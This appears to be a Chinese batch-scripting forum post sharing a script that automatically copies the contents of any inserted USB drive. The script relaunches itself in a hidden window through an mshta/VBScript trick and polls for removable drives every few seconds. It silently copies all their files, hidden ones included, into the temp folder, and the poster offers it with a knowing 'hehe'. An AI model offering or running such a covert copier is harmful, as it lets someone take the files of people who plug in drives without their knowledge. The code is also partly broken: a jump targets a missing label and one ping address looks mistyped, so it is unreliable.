[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[文件管理] 批处理自动复制U盘里的文件

本程序可以一直运行不占用很多的系统资源。当有U盘插入时会自动复制U盘的文件。大约3-5秒查找一次。
这段代码是别人的。
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)
  1. @echo off
  2. if "%1" == "fmr520" goto begin
  3. mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)&&exit
  4. :fmr
  5. setlocal enabledelayedexpansion
  6. for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
  7. set var=%%i
  8. set drive=!var:~-2!
  9. fsutil fsinfo drivetype !drive!|find "可移动" && (
  10. xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s || ping 127.1 /n 1 >nul
  11. )
  12. )
  13. ping 171.1 /n 3 >nul
  14. goto fmr
复制代码
@set,=学无止境
@for /l %%b in (0,1,6) do @call set/p= %%,:~%%b,1%%<nul

@echo off
start/min "" "复制U盘.bat"

嘿嘿!!!
@set,=学无止境
@for /l %%b in (0,1,6) do @call set/p= %%,:~%%b,1%%<nul

TOP

返回列表